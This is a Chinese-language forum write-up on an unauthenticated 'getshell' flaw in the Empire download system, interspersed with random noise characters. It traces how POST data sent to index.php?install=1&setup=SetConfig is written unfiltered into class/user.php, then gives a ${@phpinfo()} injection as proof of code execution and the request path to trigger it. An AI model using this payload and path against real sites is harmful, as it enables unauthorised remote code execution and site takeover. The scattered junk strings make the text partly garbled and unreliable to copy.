这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们6 j* V) h5 l$ }. Z$ e3 j: I
, ^1 j7 ]7 v. z- d8 O" |
; }4 ]# F8 i T: E& c8 v
这是帝国的一套下载系统 如图! P! G2 I1 L$ |! a' H/ I
ps(不需要任何账户和密码,直接写shell) & {! w- q2 s9 E0 a) _; u( Q
由于很多站是由于下载要整合discuz 等等一些论坛....
+ z( n5 M+ a: M! l v2 O
# K6 n. I# D: l B而帝国他又有一个万能接口,如图
! f& H8 O" j1 G2 j: l' U: V5 M7 v& p8 V$ U
0 L! F/ J* v2 t; P# k9 U. ?& N3 m
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
- {6 K2 D1 C2 p: ~4 J# G# o0 c% J# e7 G) X9 B& h, [
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
! {) N8 Q9 Q* T& t$ B* I9 F
$ ]3 r. a! R/ F" ?5 r3 ]( X) a在data/fun.php中的15行7 O( z; d' z3 c4 ~8 w* s
' @$ w& ]0 `: M! M5 |
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {4 { P0 [1 ?; {5 n# D6 ]
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干. D4 h1 }) M8 _; X
j% q; z e j) A
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);6 R _- v9 {3 [9 Y
0 [: Q/ j3 t% f. f* e2 y他将传进来的变量进行了切割,然后赋给了$filetext
8 j7 g& g) U9 y1 v' p! l4 x0 Z+ `+ g0 D" R) o6 y
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
0 O( g7 _1 ]9 U1 v
7 F" T F/ x& C+ k我们看看写入的结果,随便填一个
4 q4 g6 D2 j7 Z: D2 Q6 a/ Q9 v: r& d% }1 _% E: i
9 \2 ?7 B" [6 z w. A. M- F* h8 W
4 g" R9 n# A, t! M
0 ~* t8 Y. R+ g: o. C
: c: b/ y" _: ^! m2 P( D/ k" t2 J$ u& r
+ Z# n: n! d: J3 g' ?: K# }! E' l9 s2 r% r6 g
" K7 M* B# c" d0 B
$ F$ L5 [7 i9 T8 \; ~* V
8 ]7 @3 J2 [& g( U* v3 t: T, ~ i$ c
/ b, W; X+ O- P3 _# X5 `/ x2 v* |) ^ R x8 z6 c* Z* e, }; z& S
$ u4 y% b3 c/ ]8 E% e( S2 [' b D: k
1 A, Z) @! G% X+ _* M/ b4 d
" K6 z* U/ {+ q3 _6 w" H) h* b" p& }* S& W7 c
5 S; G0 H p- S/ p4 s, k. ]: u" q. [" [
2 L# s) q! n2 A. n8 ]8 d0 o
3 U" N' A4 m; _! s( G( r9 \! ~. P+ Y* Z0 _! ] w+ r
所以我们淫荡点,写个${@phpinfo()}试试 ! t5 a2 e/ U' h: w
然后访问以下class/user.php这个文件; j' D+ P+ G* u: k, @( l* n# N
日了吧 8 T1 y" s9 k" ~# V9 Y6 I1 b
" A, c4 `- [# q1 a" p
5 u( o- i1 e, W7 _2 j
1 Q6 @8 {) [; [
6 G* F- }, Q) f# r# }0 w
& G# e% C1 g& O1 g
|